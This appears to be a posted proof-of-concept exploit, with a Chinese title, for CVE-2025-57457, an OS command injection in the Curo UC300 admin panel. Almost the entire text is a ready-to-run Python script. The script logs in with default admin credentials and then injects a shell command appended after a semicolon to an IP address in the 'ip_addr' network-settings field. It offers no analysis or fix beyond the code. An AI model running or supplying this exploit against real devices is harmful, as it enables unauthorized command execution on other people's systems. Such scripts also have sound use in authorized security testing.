CVE-2025-57457：Curo UC300管理面板OS命令注入漏洞

# CVE-2025-57457 - Curo UC300 OS Command Injection PoC # Vulnerability: OS Command Injection via "IP Addr" parameter in Admin Panel # Affected: Curo UC300 5.42.1.7.1.63R1 import requests import sys TARGET_URL = "http://target-curo-uc300" ADMIN_PATH = "/admin" USERNAME = "admin" PASSWORD = "password" def exploit(target, cmd): """Exploit OS command injection via IP Addr parameter""" session = requests.Session() # Step 1: Login to admin panel login_url = f"{target}{ADMIN_PATH}/login" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data) if resp.status_code != 200: print("[!] Login failed") return print("[*] Logged in successfully") # Step 2: Inject command via IP Addr parameter # Payload format: <valid_ip>;<command> payload = f"127.0.0.1;{cmd}" inject_url = f"{target}{ADMIN_PATH}/network/settings" inject_data = { "ip_addr": payload, "action": "save" } resp = session.post(inject_url, data=inject_data) print(f"[*] Payload sent: {payload}") print(f"[*] Response status: {resp.status_code}") return resp.text if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [command]") print(f"Example: {sys.argv[0]} http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" result = exploit(target, cmd) if result: print(f"[*] Response:\n{result}")